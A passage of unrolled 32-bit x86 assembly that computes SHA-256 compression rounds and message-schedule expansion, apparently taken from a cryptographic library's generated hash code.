add ebx,DWORD PTR 24[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR [esp]
xor esi,ebp
mov DWORD PTR 28[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1899447441[edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,esi
mov ecx,edx
mov esi,DWORD PTR 12[esp]
ror edx,14
mov edi,DWORD PTR 16[esp]
xor edx,ecx
mov ebx,DWORD PTR 40[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 20[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 28[esp]
xor ecx,eax
mov DWORD PTR 24[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 3049323471[edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD PTR 4[esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD PTR 8[esp]
ror edx,14
mov edi,DWORD PTR 12[esp]
xor edx,esi
mov ebx,DWORD PTR 44[esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 4[esp],esi
xor edx,esi
add ebx,DWORD PTR 16[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 24[esp]
xor esi,ebp
mov DWORD PTR 20[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 3921009573[edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,esi
mov ecx,edx
mov esi,DWORD PTR 4[esp]
ror edx,14
mov edi,DWORD PTR 8[esp]
xor edx,ecx
mov ebx,DWORD PTR 48[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
add ebx,DWORD PTR 12[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 20[esp]
xor ecx,eax
mov DWORD PTR 16[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 961987163[edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD PTR 28[esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD PTR [esp]
ror edx,14
mov edi,DWORD PTR 4[esp]
xor edx,esi
mov ebx,DWORD PTR 52[esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 28[esp],esi
xor edx,esi
add ebx,DWORD PTR 8[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 16[esp]
xor esi,ebp
mov DWORD PTR 12[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1508970993[edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,esi
mov ecx,edx
mov esi,DWORD PTR 28[esp]
ror edx,14
mov edi,DWORD PTR [esp]
xor edx,ecx
mov ebx,DWORD PTR 56[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 4[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 12[esp]
xor ecx,eax
mov DWORD PTR 8[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 2453635748[edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD PTR 20[esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD PTR 24[esp]
ror edx,14
mov edi,DWORD PTR 28[esp]
xor edx,esi
mov ebx,DWORD PTR 60[esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 20[esp],esi
xor edx,esi
add ebx,DWORD PTR [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 8[esp]
xor esi,ebp
mov DWORD PTR 4[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 2870763221[edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,esi
mov ecx,edx
mov esi,DWORD PTR 20[esp]
ror edx,14
mov edi,DWORD PTR 24[esp]
xor edx,ecx
mov ebx,DWORD PTR 64[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 28[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 4[esp]
xor ecx,eax
mov DWORD PTR [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 3624381080[edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD PTR 12[esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD PTR 16[esp]
ror edx,14
mov edi,DWORD PTR 20[esp]
xor edx,esi
mov ebx,DWORD PTR 68[esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 12[esp],esi
xor edx,esi
add ebx,DWORD PTR 24[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR [esp]
xor esi,ebp
mov DWORD PTR 28[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 310598401[edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,esi
mov ecx,edx
mov esi,DWORD PTR 12[esp]
ror edx,14
mov edi,DWORD PTR 16[esp]
xor edx,ecx
mov ebx,DWORD PTR 72[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 20[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 28[esp]
xor ecx,eax
mov DWORD PTR 24[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 607225278[edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD PTR 4[esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD PTR 8[esp]
ror edx,14
mov edi,DWORD PTR 12[esp]
xor edx,esi
mov ebx,DWORD PTR 76[esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 4[esp],esi
xor edx,esi
add ebx,DWORD PTR 16[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 24[esp]
xor esi,ebp
mov DWORD PTR 20[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1426881987[edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,esi
mov ecx,edx
mov esi,DWORD PTR 4[esp]
ror edx,14
mov edi,DWORD PTR 8[esp]
xor edx,ecx
mov ebx,DWORD PTR 80[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
add ebx,DWORD PTR 12[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 20[esp]
xor ecx,eax
mov DWORD PTR 16[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 1925078388[edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD PTR 28[esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD PTR [esp]
ror edx,14
mov edi,DWORD PTR 4[esp]
xor edx,esi
mov ebx,DWORD PTR 84[esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 28[esp],esi
xor edx,esi
add ebx,DWORD PTR 8[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 16[esp]
xor esi,ebp
mov DWORD PTR 12[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 2162078206[edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,esi
mov ecx,edx
mov esi,DWORD PTR 28[esp]
ror edx,14
mov edi,DWORD PTR [esp]
xor edx,ecx
mov ebx,DWORD PTR 88[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 4[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 12[esp]
xor ecx,eax
mov DWORD PTR 8[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 2614888103[edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD PTR 20[esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD PTR 24[esp]
ror edx,14
mov edi,DWORD PTR 28[esp]
xor edx,esi
mov ebx,DWORD PTR 92[esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 20[esp],esi
xor edx,esi
add ebx,DWORD PTR [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 8[esp]
xor esi,ebp
mov DWORD PTR 4[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 3248222580[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 36[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,esi
mov esi,DWORD PTR 88[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 32[esp]
shr edi,10
add ebx,DWORD PTR 68[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 20[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 24[esp]
xor edx,ecx
mov DWORD PTR 32[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 28[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 4[esp]
xor ecx,eax
mov DWORD PTR [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 3835390401[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 40[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 12[esp]
add ebp,ecx
mov ecx,DWORD PTR 92[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 36[esp]
shr edi,10
add ebx,DWORD PTR 72[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 16[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 20[esp]
xor edx,esi
mov DWORD PTR 36[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 12[esp],esi
xor edx,esi
add ebx,DWORD PTR 24[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR [esp]
xor esi,ebp
mov DWORD PTR 28[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 4022224774[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 44[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,esi
mov esi,DWORD PTR 32[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 40[esp]
shr edi,10
add ebx,DWORD PTR 76[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 12[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 16[esp]
xor edx,ecx
mov DWORD PTR 40[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 20[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 28[esp]
xor ecx,eax
mov DWORD PTR 24[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 264347078[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 48[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 4[esp]
add ebp,ecx
mov ecx,DWORD PTR 36[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 44[esp]
shr edi,10
add ebx,DWORD PTR 80[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 8[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 12[esp]
xor edx,esi
mov DWORD PTR 44[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 4[esp],esi
xor edx,esi
add ebx,DWORD PTR 16[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 24[esp]
xor esi,ebp
mov DWORD PTR 20[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 604807628[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 52[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,esi
mov esi,DWORD PTR 40[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 48[esp]
shr edi,10
add ebx,DWORD PTR 84[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 4[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 8[esp]
xor edx,ecx
mov DWORD PTR 48[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
add ebx,DWORD PTR 12[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 20[esp]
xor ecx,eax
mov DWORD PTR 16[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 770255983[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 56[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 28[esp]
add ebp,ecx
mov ecx,DWORD PTR 44[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 52[esp]
shr edi,10
add ebx,DWORD PTR 88[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR [esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 4[esp]
xor edx,esi
mov DWORD PTR 52[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 28[esp],esi
xor edx,esi
add ebx,DWORD PTR 8[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 16[esp]
xor esi,ebp
mov DWORD PTR 12[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1249150122[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 60[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,esi
mov esi,DWORD PTR 48[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 56[esp]
shr edi,10
add ebx,DWORD PTR 92[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 28[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR [esp]
xor edx,ecx
mov DWORD PTR 56[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 4[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 12[esp]
xor ecx,eax
mov DWORD PTR 8[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 1555081692[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 64[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 20[esp]
add ebp,ecx
mov ecx,DWORD PTR 52[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 60[esp]
shr edi,10
add ebx,DWORD PTR 32[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 24[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 28[esp]
xor edx,esi
mov DWORD PTR 60[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 20[esp],esi
xor edx,esi
add ebx,DWORD PTR [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 8[esp]
xor esi,ebp
mov DWORD PTR 4[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1996064986[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 68[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,esi
mov esi,DWORD PTR 56[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 64[esp]
shr edi,10
add ebx,DWORD PTR 36[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 20[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 24[esp]
xor edx,ecx
mov DWORD PTR 64[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 28[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 4[esp]
xor ecx,eax
mov DWORD PTR [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 2554220882[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 72[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 12[esp]
add ebp,ecx
mov ecx,DWORD PTR 60[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 68[esp]
shr edi,10
add ebx,DWORD PTR 40[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 16[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 20[esp]
xor edx,esi
mov DWORD PTR 68[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 12[esp],esi
xor edx,esi
add ebx,DWORD PTR 24[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR [esp]
xor esi,ebp
mov DWORD PTR 28[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 2821834349[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 76[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,esi
mov esi,DWORD PTR 64[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 72[esp]
shr edi,10
add ebx,DWORD PTR 44[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 12[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 16[esp]
xor edx,ecx
mov DWORD PTR 72[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 20[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 28[esp]
xor ecx,eax
mov DWORD PTR 24[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 2952996808[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 80[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 4[esp]
add ebp,ecx
mov ecx,DWORD PTR 68[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 76[esp]
shr edi,10
add ebx,DWORD PTR 48[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 8[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 12[esp]
xor edx,esi
mov DWORD PTR 76[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 4[esp],esi
xor edx,esi
add ebx,DWORD PTR 16[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 24[esp]
xor esi,ebp
mov DWORD PTR 20[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 3210313671[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 84[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,esi
mov esi,DWORD PTR 72[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 80[esp]
shr edi,10
add ebx,DWORD PTR 52[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 4[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 8[esp]
xor edx,ecx
mov DWORD PTR 80[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
add ebx,DWORD PTR 12[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 20[esp]
xor ecx,eax
mov DWORD PTR 16[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 3336571891[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 88[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 28[esp]
add ebp,ecx
mov ecx,DWORD PTR 76[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 84[esp]
shr edi,10
add ebx,DWORD PTR 56[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR [esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 4[esp]
xor edx,esi
mov DWORD PTR 84[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 28[esp],esi
xor edx,esi
add ebx,DWORD PTR 8[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 16[esp]
xor esi,ebp
mov DWORD PTR 12[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 3584528711[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 92[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,esi
mov esi,DWORD PTR 80[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 88[esp]
shr edi,10
add ebx,DWORD PTR 60[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 28[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR [esp]
xor edx,ecx
mov DWORD PTR 88[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 4[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 12[esp]
xor ecx,eax
mov DWORD PTR 8[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 113926993[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 32[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 20[esp]
add ebp,ecx
mov ecx,DWORD PTR 84[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 92[esp]
shr edi,10
add ebx,DWORD PTR 64[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 24[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 28[esp]
xor edx,esi
mov DWORD PTR 92[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 20[esp],esi
xor edx,esi
add ebx,DWORD PTR [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 8[esp]
xor esi,ebp
mov DWORD PTR 4[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 338241895[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 36[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,esi
mov esi,DWORD PTR 88[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 32[esp]
shr edi,10
add ebx,DWORD PTR 68[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 20[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 24[esp]
xor edx,ecx
mov DWORD PTR 32[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 28[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 4[esp]
xor ecx,eax
mov DWORD PTR [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 666307205[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 40[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 12[esp]
add ebp,ecx
mov ecx,DWORD PTR 92[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 36[esp]
shr edi,10
add ebx,DWORD PTR 72[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 16[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 20[esp]
xor edx,esi
mov DWORD PTR 36[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 12[esp],esi
xor edx,esi
add ebx,DWORD PTR 24[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR [esp]
xor esi,ebp
mov DWORD PTR 28[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 773529912[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 44[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,esi
mov esi,DWORD PTR 32[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
